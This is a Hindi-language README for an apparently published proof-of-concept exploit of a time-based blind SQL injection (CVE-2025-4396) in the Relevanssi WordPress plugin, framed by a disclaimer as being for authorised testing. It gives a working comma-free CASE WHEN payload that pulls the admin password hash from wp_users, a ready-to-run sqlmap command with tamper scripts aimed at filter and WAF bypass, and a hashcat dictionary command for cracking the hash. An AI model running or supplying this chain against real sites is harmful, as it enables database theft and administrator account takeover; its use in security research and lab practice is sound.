
CVE-2025-4396 - WordPress Relevanssi समय-आधारित ब्लाइंड SQL इंजेक्शन
अस्वीकरण: यह रिपॉजिटरी केवल अधिकृत पैठ परीक्षण, सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध और अनैतिक है।
Relevanssi 4.24.4 वर्डप्रेस प्लगइन में समय-आधारित ब्लाइंड SQL इंजेक्शन भेद्यता के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट। यह कार्यान्वयन विशेष रूप से ऐसे कठोर वातावरणों को संबोधित करता है जहां:
SUBSTR(str, pos, len) और IF(cond, true, false) सिंटैक्स को तोड़ते हैंSLEEP() को पूरे अभिव्यक्ति का मूल्यांकन करने से पहले निष्पादित करता है, जिससे गलत सकारात्मक परिणाम उत्पन्न होते हैंकुछ वातावरणों में (जैसे DVWP लैब), मानक SQL इंजेक्शन पेलोड दो प्रमुख कारणों से विफल होते हैं:
| समस्या | प्रभाव |
|---|---|
| कॉमा हटाना | SUBSTR(str, pos, len) और IF(cond, true, false) को तोड़ता है |
लालची SLEEP() | MySQL पूर्ण बूलियन अभिव्यक्ति से पहले स्लीप का मूल्यांकन करता है, जिससे गलत सकारात्मक परिणाम होते हैं |
दोनों समस्याओं के लिए लक्षित समाधानों की आवश्यकता है — नीचे मैन्युअल और स्वचालित दृष्टिकोणों में शामिल किए गए हैं।
asy.py)एक एसिंक्रोनस पायथन स्क्रिप्ट जो सर्जिकल कैरेक्टर-दर-कैरेक्टर निष्कर्षण प्रदान करती है। स्वचालित टूल का ओवरहेड से बचती है और CASE WHEN लॉजिक के माध्यम से कॉमा फ़िल्टरिंग को बायपास करती है।
| विशेषता | कार्यान्वयन |
|---|---|
| Async I/O | aiohttp गैर-अवरुद्ध अनुरोधों के लिए |
| कॉमा-रहित पेलोड | SUBSTR(str FROM pos FOR len) सिंटैक्स |
| गैर-लालची तर्क | CASE WHEN सुनिश्चित करता है कि SLEEP() केवल TRUE पर सक्रिय हो |
# Comma-less, CASE WHEN-based time-based payload
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"
IF() के बजाय CASE WHEN क्यों?
IF() कॉमा का उपयोग करता है और लालची मूल्यांकन के अधीन है। CASE WHEN आलसी मूल्यांकन करता है, जिससे सुनिश्चित होता है कि SLEEP() केवल तभी ट्रिगर होता है जब स्थिति वास्तव में TRUE हो।
SQLMap इस वातावरण में विशिष्ट टैम्पर स्क्रिप्ट और फ्लैग का उपयोग करके खोज को स्वचालित कर सकता है।
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
--tamper=commalessmid,if2case,between \
--technique=T \
--dbms=MySQL \
--no-cast \
--batch \
--threads=1 \
--dbs
| फ्लैग | उद्देश्य |
|---|---|
--tamper=commalessmid,if2case | पेलोड को कॉमा-मुक्त SQL में पुनर्लिखित करता है; IF() को CASE WHEN से बदलता है |
--tamper=between | अतिरिक्त WAF बायपास के लिए > तुलनाओं को BETWEEN से बदलता है |
--technique=T | केवल समय-आधारित ब्लाइंड इंजेक्शन तक सीमित करता है |
--no-cast | CAST() रैपर को रोकता है जो निषिद्ध कॉमा पेश करते हैं |
--threads=1 | समय सटीकता सुनिश्चित करता है — समवर्ती अनुरोध ओवरलैपिंग स्लीप विलंब का कारण बनते हैं |
--threads=1पर नोट: यह विश्वसनीय निष्कर्षण के लिए आवश्यक है। कई थ्रेड स्लीप विलंब को ओवरलैप करने का कारण बनते हैं, जिससे बाइनरी सर्च समय खराब हो जाता है और गलत आउटपुट उत्पन्न होता है।
| फ़ील्ड | मान |
|---|---|
| लक्ष्य | WordPress wp_users table |
| उपयोगकर्ता | admin (ID = 1) |
| निकाला गया हैश | REDACTED |
| एल्गोरिदम | phpass (मानक वर्डप्रेस पासवर्ड हैशिंग) |
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
-m 400 phpass हैश को लक्षित करता है-a 0 rockyou.txt का उपयोग करके एक सीधा शब्दकोश हमला है